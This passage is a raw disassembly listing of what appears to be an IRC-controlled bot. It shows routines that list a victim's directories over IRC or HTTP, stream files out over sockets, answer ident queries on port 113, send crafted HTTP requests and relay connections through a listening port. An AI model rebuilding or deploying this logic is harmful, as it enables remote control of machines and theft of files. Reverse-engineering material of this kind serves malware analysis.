		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		push	edi
		call	sub_4176F0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 0Ch
		jmp	short loc_40EBC5
; ---------------------------------------------------------------------------


loc_40EBAB:				; CODE XREF: sub_40EA69+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 10h


loc_40EBC5:				; CODE XREF: sub_40EA69+5Aj
					; sub_40EA69+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_40EC5D
		push	[ebp+arg_C]
		call	sub_4176F0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40EC5D
		push	[ebp+arg_C]
		call	sub_4176F0
		sub	eax, 3
		pop	ecx
		jz	short loc_40EC11


loc_40EC05:				; CODE XREF: sub_40EA69+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40EC11
		dec	eax
		jnz	short loc_40EC05


loc_40EC11:				; CODE XREF: sub_40EA69+19Aj
					; sub_40EA69+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send


loc_40EC5D:				; CODE XREF: sub_40EA69+17Ej
					; sub_40EA69+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_423118	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_423114	; FindNextFileA
		test	eax, eax
		jz	loc_40F04E
		mov	edi, 1FFh


loc_40EC89:				; CODE XREF: sub_40EA69+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_40F036
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F036
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F036
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_423110	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_423000	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40ECFE
		mov	ecx, offset aAm	; "AM"


loc_40ECFE:				; CODE XREF: sub_40EA69+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40ED0A
		sub	eax, 0Ch


loc_40ED0A:				; CODE XREF: sub_40EA69+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_417D96
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40EEB7
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40ED8B
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 28h
		jmp	loc_40F007
; ---------------------------------------------------------------------------


loc_40ED8B:				; CODE XREF: sub_40EA69+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_40EE75
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4176F0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40EE2B
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40EE30
; ---------------------------------------------------------------------------


loc_40EE2B:				; CODE XREF: sub_40EA69+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40EE30:				; CODE XREF: sub_40EA69+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40EFF8
; ---------------------------------------------------------------------------


loc_40EE75:				; CODE XREF: sub_40EA69+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_40EEA2:				; CODE XREF: sub_40EA69+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 24h
		jmp	loc_40F007
; ---------------------------------------------------------------------------


loc_40EEB7:				; CODE XREF: sub_40EA69+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40EEE1
		push	ebx
		push	[ebp+var_368]
		call	sub_41444C
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_40EEA2
; ---------------------------------------------------------------------------


loc_40EEE1:				; CODE XREF: sub_40EA69+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_40EFE1
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_42C20C
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4176F0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40EF81
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40EF86
; ---------------------------------------------------------------------------


loc_40EF81:				; CODE XREF: sub_40EA69+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40EF86:				; CODE XREF: sub_40EA69+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		jmp	short loc_40F007
; ---------------------------------------------------------------------------


loc_40EFE1:				; CODE XREF: sub_40EA69+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_40EFF8:				; CODE XREF: sub_40EA69+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_417E90
		add	esp, 18h


loc_40F007:				; CODE XREF: sub_40EA69+31Dj
					; sub_40EA69+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F036
		push	7D0h
		call	dword_423078	; Sleep


loc_40F036:				; CODE XREF: sub_40EA69+226j
					; sub_40EA69+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_423114	; FindNextFileA
		test	eax, eax
		jnz	loc_40EC89


loc_40F04E:				; CODE XREF: sub_40EA69+215j
		push	[ebp+arg_0]
		call	dword_42310C	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F091
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_41444C
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_41444C
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_417D96
		add	esp, 14h
		jmp	short loc_40F0C5
; ---------------------------------------------------------------------------


loc_40F091:				; CODE XREF: sub_40EA69+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40F0AB
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	short loc_40F0C5
; ---------------------------------------------------------------------------


loc_40F0AB:				; CODE XREF: sub_40EA69+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_417D96
		add	esp, 10h


loc_40F0C5:				; CODE XREF: sub_40EA69+626j
					; sub_40EA69+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40EA69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0EB	proc near		; CODE XREF: sub_40E637+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4230EC	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40F1A3
		push	esi
		push	ebx
		call	dword_423108	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_40F19C


loc_40F130:				; CODE XREF: sub_40F0EB+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_40F14D
		mov	edi, [ebp+arg_4]


loc_40F14D:				; CODE XREF: sub_40F0EB+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_42311C	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4230E8	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9848	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F197
		call	dword_4C9798	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_40F19C
		xor	eax, eax


loc_40F197:				; CODE XREF: sub_40F0EB+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_40F130


loc_40F19C:				; CODE XREF: sub_40F0EB+43j
					; sub_40F0EB+A8j
		push	ebx
		call	dword_423068	; CloseHandle


loc_40F1A3:				; CODE XREF: sub_40F0EB+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F0EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F1A8	proc near		; CODE XREF: sub_40E7B9+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_4176F0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F1D1


loc_40F1BB:				; CODE XREF: sub_40F1A8+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_40F1C5
		mov	byte ptr [esi+edi], 2Fh


loc_40F1C5:				; CODE XREF: sub_40F1A8+17j
		push	edi
		inc	esi
		call	sub_4176F0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F1BB


loc_40F1D1:				; CODE XREF: sub_40F1A8+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40F1A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F1D6	proc near		; CODE XREF: sub_401AC7+49BDp

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4C9778	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4C9878	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4C97FC	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_409C07
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4C97A8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F2B3
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_40F24F
		mov	eax, offset byte_43B9B8


loc_40F24F:				; CODE XREF: sub_40F1D6+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4C9848	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_418810
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4C9814	; recv
		pop	esi


loc_40F2B3:				; CODE XREF: sub_40F1D6+6Bj
		push	ebx
		call	dword_4C9890	; closesocket
		call	dword_4C9760	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_417D96
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40F2F3
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_40F2F3:				; CODE XREF: sub_40F1D6+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_40F1D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F2F7	proc near		; DATA XREF: sub_401221+43Fo
					; sub_401AC7+3C17o

var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		mov	[ebp+var_8], esi
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	71h
		call	dword_4C97FC	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4C9878	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40F458
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_43C74C[eax], ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_4C9828	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F458
		push	5
		push	ebx
		call	dword_4C9824	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F458
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_40F382:				; CODE XREF: sub_40F2F7+EAj
					; sub_40F2F7+14Aj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4C988C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40F453
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_4363F0
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_413B5E
		add	esp, 14h
		lea	eax, [ebp+var_238]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4C9814	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F382
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_415054
		push	0Ch
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		call	sub_417AA0
		push	esi
		push	esi
		lea	eax, [ebp+var_38]
		push	2
		push	eax
		call	sub_40A19A
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+var_238]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 34h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_4]
		call	dword_4C9848	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F382
		mov	[ebp+var_8], 1
		jmp	loc_40F382
; ---------------------------------------------------------------------------


loc_40F453:				; CODE XREF: sub_40F2F7+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_40F47F


loc_40F458:				; CODE XREF: sub_40F2F7+47j
					; sub_40F2F7+6Bj ...
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_4363AC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_413B5E
		add	esp, 10h


loc_40F47F:				; CODE XREF: sub_40F2F7+15Fj
		push	ebx
		call	dword_4C9890	; closesocket
		push	[ebp+var_4]
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40F2F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F4A2	proc near		; DATA XREF: sub_401AC7+5867o

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4C97FC	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4C9878	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40F60E
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43C74C[ecx], eax
		call	dword_4C971C	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9828	; bind
		test	eax, eax
		jnz	loc_40F60E
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4C9824	; listen
		test	eax, eax
		jnz	loc_40F60E


loc_40F552:				; CODE XREF: sub_40F4A2+C6j
					; sub_40F4A2+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C988C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40F552
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_436458
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40A203
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_43C744[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_40F633
		push	esi
		push	esi
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43C754[ecx], eax
		jz	short loc_40F5F9


loc_40F5E6:				; CODE XREF: sub_40F4A2+155j
		cmp	[ebp+var_30], esi
		jnz	loc_40F552
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40F5E6
; ---------------------------------------------------------------------------


loc_40F5F9:				; CODE XREF: sub_40F4A2+142j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43641C
		call	sub_413BD2
		pop	ecx
		pop	ecx
		jmp	short loc_40F611
; ---------------------------------------------------------------------------


loc_40F60E:				; CODE XREF: sub_40F4A2+63j
					; sub_40F4A2+97j ...
		mov	edi, [ebp+arg_0]


loc_40F611:				; CODE XREF: sub_40F4A2+16Aj
		push	edi
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	dword_4C9890	; closesocket
		push	[ebp+var_40]
		call	sub_40A51F
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_40F4A2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F633	proc near		; DATA XREF: sub_40F4A2+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4C9878	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_40F7E9
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4C97FC	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4C9838	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40F6C3
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4C987C	; gethostbyname
		jmp	short loc_40F6D1
; ---------------------------------------------------------------------------


loc_40F6C3:				; CODE XREF: sub_40F633+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4C97B8	; gethostbyaddr


loc_40F6D1:				; CODE XREF: sub_40F633+8Ej
		cmp	eax, edi
		jz	loc_40F7E9
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4C97A8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F7E9
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
